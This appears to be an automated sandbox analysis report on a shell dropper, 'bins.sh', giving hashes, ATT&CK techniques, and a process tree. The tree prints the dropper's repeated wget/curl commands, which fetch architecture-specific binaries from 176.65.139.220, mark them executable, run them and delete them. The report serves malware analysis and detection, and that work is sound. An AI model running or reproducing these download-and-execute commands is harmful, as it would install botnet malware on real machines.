522ab5263da1883e27cb376b5ac300debf0214a201710140280a3517e8207ded

Analysis

max time kernel
149s
max time network
148s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
16/09/2026, 11:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 1KB
Sample260916-m62evsxtew
SHA256 522ab5263da1883e27cb376b5ac300debf0214a201710140280a3517e8207ded
MD5 ecfc505d1a4edb4642d7a5e9d4fd5b61
SHA1 e3ae125455d0c5b008c984a0c9da1031d5b15145
SHA512 748acb786b6ab1e7ef19e6962e82d43de028f085984134deb311d514344c989519091390b63c47bec837bbd498ac3cf26adcdcf7d52c170d3e1c20519508aa88
TLSH
T11E41878B22E094B3C46DED41F35594C4E0995AE361E79EBCF8AC55E2489940CF3B6B60
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 21 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
748	chmod
757	chmod
813	chmod
881	chmod
886	chmod
896	chmod
906	chmod
728	chmod
738	chmod
818	chmod
826	chmod
871	chmod
901	chmod
911	chmod
781	chmod
803	chmod
876	chmod
743	chmod
841	chmod
862	chmod
891	chmod

Executes dropped EXE 21 IoCs

ioc	pid	Process
/tmp/x86	729	bins.sh
/tmp/x86	739	bins.sh
/tmp/i386	744	bins.sh
/tmp/i386	749	bins.sh
/tmp/amd64	758	bins.sh
/tmp/amd64	782	bins.sh
/tmp/arm	804	bins.sh
/tmp/arm	814	bins.sh
/tmp/armv7l	819	bins.sh
/tmp/armv7l	827	bins.sh
/tmp/arm5	842	bins.sh
/tmp/arm5	863	bins.sh
/tmp/arm6	872	bins.sh
/tmp/arm6	877	bins.sh
/tmp/arm64	882	bins.sh
/tmp/arm64	887	bins.sh
/tmp/android_arm64	892	bins.sh
/tmp/android_arm64	897	bins.sh
/tmp/mips	902	bins.sh
/tmp/mips	907	bins.sh
/tmp/mipsle	912	bins.sh

Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	mipsle

Reads runtime system information 10 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 8 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
905	curl
907	mips
909	rm
910	wget
912	mipsle
900	wget
902	mips
904	rm

Writes file to tmp directory 21 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/x86	curl
File opened for modification	/tmp/i386	wget
File opened for modification	/tmp/armv7l	curl
File opened for modification	/tmp/arm5	wget
File opened for modification	/tmp/arm64	wget
File opened for modification	/tmp/arm64	curl
File opened for modification	/tmp/android_arm64	wget
File opened for modification	/tmp/android_arm64	curl
File opened for modification	/tmp/arm	wget
File opened for modification	/tmp/mips	curl
File opened for modification	/tmp/mipsle	wget
File opened for modification	/tmp/arm6	wget
File opened for modification	/tmp/arm6	curl
File opened for modification	/tmp/x86	wget
File opened for modification	/tmp/i386	curl
File opened for modification	/tmp/arm	curl
File opened for modification	/tmp/arm5	curl
File opened for modification	/tmp/amd64	wget
File opened for modification	/tmp/amd64	curl
File opened for modification	/tmp/armv7l	wget
File opened for modification	/tmp/mips	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:707
- /usr/bin/wget
  wget http://176.65.139.220/x86 -O x86
  2⤵
  - Writes file to tmp directory
  PID:710
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:728
- /tmp/x86
  ./x86
  2⤵
  PID:729
- /bin/rm
  rm -f x86
  2⤵
  PID:732
- /usr/bin/curl
  curl -O http://176.65.139.220/x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:733
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:738
- /tmp/x86
  ./x86
  2⤵
  PID:739
- /bin/rm
  rm -f x86
  2⤵
  PID:741
- /usr/bin/wget
  wget http://176.65.139.220/i386 -O i386
  2⤵
  - Writes file to tmp directory
  PID:742
- /bin/chmod
  chmod +x i386
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/i386
  ./i386
  2⤵
  PID:744
- /bin/rm
  rm -f i386
  2⤵
  PID:746
- /usr/bin/curl
  curl -O http://176.65.139.220/i386
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:747
- /bin/chmod
  chmod +x i386
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/i386
  ./i386
  2⤵
  PID:749
- /bin/rm
  rm -f i386
  2⤵
  PID:751
- /usr/bin/wget
  wget http://176.65.139.220/amd64 -O amd64
  2⤵
  - Writes file to tmp directory
  PID:752
- /bin/chmod
  chmod +x amd64
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /tmp/amd64
  ./amd64
  2⤵
  PID:758
- /bin/rm
  rm -f amd64
  2⤵
  PID:762
- /usr/bin/curl
  curl -O http://176.65.139.220/amd64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:763
- /bin/chmod
  chmod +x amd64
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/amd64
  ./amd64
  2⤵
  PID:782
- /bin/rm
  rm -f amd64
  2⤵
  PID:785
- /usr/bin/wget
  wget http://176.65.139.220/arm -O arm
  2⤵
  - Writes file to tmp directory
  PID:786
- /bin/chmod
  chmod +x arm
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/arm
  ./arm
  2⤵
  PID:804
- /bin/rm
  rm -f arm
  2⤵
  PID:807
- /usr/bin/curl
  curl -O http://176.65.139.220/arm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:809
- /bin/chmod
  chmod +x arm
  2⤵
  - File and Directory Permissions Modification
  PID:813
- /tmp/arm
  ./arm
  2⤵
  PID:814
- /bin/rm
  rm -f arm
  2⤵
  PID:816
- /usr/bin/wget
  wget http://176.65.139.220/armv7l -O armv7l
  2⤵
  - Writes file to tmp directory
  PID:817
- /bin/chmod
  chmod +x armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/armv7l
  ./armv7l
  2⤵
  PID:819
- /bin/rm
  rm -f armv7l
  2⤵
  PID:821
- /usr/bin/curl
  curl -O http://176.65.139.220/armv7l
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:822
- /bin/chmod
  chmod +x armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/armv7l
  ./armv7l
  2⤵
  PID:827
- /bin/rm
  rm -f armv7l
  2⤵
  PID:829
- /usr/bin/wget
  wget http://176.65.139.220/arm5 -O arm5
  2⤵
  - Writes file to tmp directory
  PID:830
- /bin/chmod
  chmod +x arm5
  2⤵
  - File and Directory Permissions Modification
  PID:841
- /tmp/arm5
  ./arm5
  2⤵
  PID:842
- /bin/rm
  rm -f arm5
  2⤵
  PID:845
- /usr/bin/curl
  curl -O http://176.65.139.220/arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:847
- /bin/chmod
  chmod +x arm5
  2⤵
  - File and Directory Permissions Modification
  PID:862
- /tmp/arm5
  ./arm5
  2⤵
  PID:863
- /bin/rm
  rm -f arm5
  2⤵
  PID:865
- /usr/bin/wget
  wget http://176.65.139.220/arm6 -O arm6
  2⤵
  - Writes file to tmp directory
  PID:867
- /bin/chmod
  chmod +x arm6
  2⤵
  - File and Directory Permissions Modification
  PID:871
- /tmp/arm6
  ./arm6
  2⤵
  PID:872
- /bin/rm
  rm -f arm6
  2⤵
  PID:874
- /usr/bin/curl
  curl -O http://176.65.139.220/arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:875
- /bin/chmod
  chmod +x arm6
  2⤵
  - File and Directory Permissions Modification
  PID:876
- /tmp/arm6
  ./arm6
  2⤵
  PID:877
- /bin/rm
  rm -f arm6
  2⤵
  PID:879
- /usr/bin/wget
  wget http://176.65.139.220/arm64 -O arm64
  2⤵
  - Writes file to tmp directory
  PID:880
- /bin/chmod
  chmod +x arm64
  2⤵
  - File and Directory Permissions Modification
  PID:881
- /tmp/arm64
  ./arm64
  2⤵
  PID:882
- /bin/rm
  rm -f arm64
  2⤵
  PID:884
- /usr/bin/curl
  curl -O http://176.65.139.220/arm64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:885
- /bin/chmod
  chmod +x arm64
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /tmp/arm64
  ./arm64
  2⤵
  PID:887
- /bin/rm
  rm -f arm64
  2⤵
  PID:889
- /usr/bin/wget
  wget http://176.65.139.220/android_arm64 -O android_arm64
  2⤵
  - Writes file to tmp directory
  PID:890
- /bin/chmod
  chmod +x android_arm64
  2⤵
  - File and Directory Permissions Modification
  PID:891
- /tmp/android_arm64
  ./android_arm64
  2⤵
  PID:892
- /bin/rm
  rm -f android_arm64
  2⤵
  PID:894
- /usr/bin/curl
  curl -O http://176.65.139.220/android_arm64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:895
- /bin/chmod
  chmod +x android_arm64
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /tmp/android_arm64
  ./android_arm64
  2⤵
  PID:897
- /bin/rm
  rm -f android_arm64
  2⤵
  PID:899
- /usr/bin/wget
  wget http://176.65.139.220/mips -O mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:900
- /bin/chmod
  chmod +x mips
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/mips
  ./mips
  2⤵
  - System Network Configuration Discovery
  PID:902
- /bin/rm
  rm -f mips
  2⤵
  - System Network Configuration Discovery
  PID:904
- /usr/bin/curl
  curl -O http://176.65.139.220/mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:905
- /bin/chmod
  chmod +x mips
  2⤵
  - File and Directory Permissions Modification
  PID:906
- /tmp/mips
  ./mips
  2⤵
  - System Network Configuration Discovery
  PID:907
- /bin/rm
  rm -f mips
  2⤵
  - System Network Configuration Discovery
  PID:909
- /usr/bin/wget
  wget http://176.65.139.220/mipsle -O mipsle
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:910
- /bin/chmod
  chmod +x mipsle
  2⤵
  - File and Directory Permissions Modification
  PID:911
- /tmp/mipsle
  ./mipsle
  2⤵
  - Enumerates kernel/hardware configuration
  - System Network Configuration Discovery
  PID:912

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

amd64

Path /tmp/amd64
Size 4.7MB
SHA256 9ef5ad92f3d681ad3509f94ad3a4d27f10d40ec054e8a0533c45a248e4b009d5
MD5 b7ad132fe224584270e363713d1b62b4
SHA1 7f268d06069668243ad4590f8643cf6431a8a115
SHA512 08a97a57a553717cb3d75700250a391ffedbee4dfbf9a8d68b36804fd8ea7d579bf3841a22b852cc3361f756c6b92311baa5837010f72447e5fcb0dbec79e243
SSDEEP 49152:BNs3fwQmihXexbKJQqZLrvCyyUV28j5EE9VSgdv2fZwl+IKTA/:amihIeVvCyvVBE68I
TLSH
T103363A17EC9586E9C0AAE130C9629253BE717C495B3023D72F50F7782F72BD0AAB9744
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

android_arm64

Path /tmp/android_arm64
Size 4.9MB
SHA256 6820d53db71e83035f57967b56f34ba68bb6608a1dccb26145b644432450dc04
MD5 baefcf6ad3ecade73542b05fb0cec13d
SHA1 c6e26a2b4f386ac80ffeb58d6f7ab810613d8b9f
SHA512 48425fc62aced93f1ed88c8788702abd3f51164ab7c991772090e091921bfb1fd5734515e1587af0c2842acd7c872eb11408fc765154d2902d6458c734363b73
SSDEEP 49152:5GwZOoiqAdsf4JZK8JI8OH5Eh9/Pcs7et:NZO/qAdsf4JZKKI8qEDw
TLSH
T10C364A9DFC2EE452DD88AAB46B614197B734BC099F41C7222714B7ADB8F33D49F12260
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm

Path /tmp/arm
Size 4.6MB
SHA256 601d830aab39745760acd6142a5ba3ee67a1a0ad59d49d79a840b3a6aaabd7be
MD5 8791f6690faf01b4f44d696589252ed7
SHA1 612c8ce3a9c5ea70efc1bf15cfd917b28b12bf89
SHA512 eaac35f7022935b9c7e119627c59ac68ac541f4dbb272d2d8ed74ff737d3aa22217094b3b6cbfac7bd6b2b73cff950d50271102cd68713be07496b3e16e44c45
SSDEEP 24576:/B3qLam87be+o9Ylfwks9hc4XSu3+eVyVPc5jYnUGvFlzYij/h8pgNExsix67E5l:/66FkUPp6P+gb8TieaoYRr4DSz
TLSH
T1D1260997B8924983C4E42676BCBE80C433635EFA9B9753566D04FE3C3ABE1990E35704
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm5

Path /tmp/arm5
Size 4.7MB
SHA256 d5b07009143e2c2fc09f393e878fcfa76946e6066180bf14451126fbee1e7658
MD5 f6916b8bc0e65b2dc21afef419279546
SHA1 5a272f15f4d83ea824b5fe507e8c7d8825df9059
SHA512 a1f41dcb0c75da3d9565961438122570b9044e2b7213fcbe89fc02659af61eacee4596c40e3e5af055bee39b5b666781d11d8a4c8a085c357554506c6c62aa44
SSDEEP 24576:a2/5siQtS9y1+LaX7Yuj2HCslKdu3pYX/ojmzcC3uPFXimymdW/ARS0LKSFO/P08:arVCSynS1f5Q24ykay31rDQ
TLSH
T1BE360897B8924983C4E42676B8BE80C433A35EF99B9713576D04FE3C3ABE1990E35714
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm6

Path /tmp/arm6
Size 4.6MB
SHA256 999ceeda77c4552adb04e486f8771daea56a99e9642e1e4510b7e985a3684d89
MD5 796c0797ed02663b15a3b6876e35bcd7
SHA1 53da07a6f517a331a493841d7dc616e3453e9fbf
SHA512 f286d90cde912b5bf88462b35f8937d28af2abe050b59c12326e8efcb7ebf79b9df7285da8893be91f54875bbc2d1fc7407b6e91127b61024988283e52e74924
SSDEEP 24576:mRTKdzf1DJUdVSYeBBF3kwmfaVtl6TFq3U+LzYnLVYC+a+Fb1esSUzr9prsuuk5S:mWtO+7bdr6VUQlV4HWgNkaZJgRf
TLSH
T1AD261A97B8924983C4E42676B8BE80C433635EFA9B9B53576D04FE3C3ABE1990D35704
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm64

Path /tmp/arm64
Size 4.4MB
SHA256 5cc1ee595d741ec25b89cfefd35513dcc556b2757f5bf059005a87909446f5a9
MD5 49e30a157063313982908adf1f0ecb68
SHA1 fc42d6f191b845be01890d8b28d89d6d60d7fd69
SHA512 740b04b149f4767d724a2a050d68a068972b0da108ecb4c6a413aae1a13435d91413eee04911e563ccffd3e2dd02322a40f32ef1bb39d5eab2c4828972fbe7c0
SSDEEP 49152:JaZJHhZCJRXwKDTjVjm2f5gFZgwfgPan5Ep1VRUeLn:MZJHrCHwKDTjVjm2f5gFZjfgYEAW
TLSH
T1D6266DA9BC5C7452DAC87AB82B2541D4B335FD48DF8183277A18F7ADA9F2358CF11260
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mips

Path /tmp/mips
Size 5.2MB
SHA256 7f6fb92970eba963868bb57d5c6cdad49bf410918e6148eb869efc3c61677fe9
MD5 927c7fe84b4e60d65f6be9c999162cd1
SHA1 ad6f35223044b5b314279a59cc779e59b53a63ee
SHA512 3b717daab27144f4cead7da3472892b848552f1fadd9b7789346a07a49d62af9a54e3a3f08d11db22c5e0d4ad8dbfa072a2db2574dca27b635566078b69b0baf
SSDEEP 49152:V6lQycFuPL/htSdR4W0+tzlFGUrriDxDh1NGnV57faBX3u0HH:qRPhKnWk0n
TLSH
T156462B632A5CD70EC329113419B2CEA857792C4A86DBA527B242F30DB9F21BC595FCF1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mipsle

Path /tmp/mipsle
Size 5.2MB
SHA256 3acc9265a1e24ec2367f86417a3284bdfc3a9a668cd7986e31d905bacb9f8550
MD5 83ae1397bedfb2d932caf27aa0814a56
SHA1 0f166af702e11a87ca8138d866f8c487988903ad
SHA512 330b8f396b4e56ce8ad2f20f5709009bc11ec5497b5593ce0a296e8ccfa45b03fe47d73c3147ae625e4761cdb784d13a78e7b2599042fcfbf4c229a10bbf7d86
SSDEEP 24576:Aq1rfU5APwpBD33rT1/ORBsd4pn0NX0vMJiaXNWYBu7lijI38XOG059E2NTQOWls:x4OMFx2Ob+G49pKqnO97Xeuc
TLSH
T1E246F805ADC42BE6C42C9B7484FACD5223742D144BF14A266665FFE8BCB62787F4389C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

x86

Path /tmp/x86
Size 4.6MB
SHA256 bc1b5337acaf45129b9752bf96375e8d588cf0b806b4635790ebe74f6e862275
MD5 cf2e990955817a7243af4d50a54e1d00
SHA1 376e9066dd747e301bdc320516eb2acb33c349bf
SHA512 d2d08fdab75884cc8517568ae902b1772d09979f9c987a17197533f6cc0f5e8e61b01da445c449445f2cf2ea4abc881295bec68865ff437249ea6fed8e8e747a
SSDEEP 49152:EnVxX4AGLQxe/xar+H3xvoDRmNCF/cti2EaMjr9nvGcnGRMY:+VCl0r+H3xvMmZMl7G
TLSH
T18C261850FACB84F6E9031A3044AFA27F67315D058B25DBC7EA507F2EE9376D61936208
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads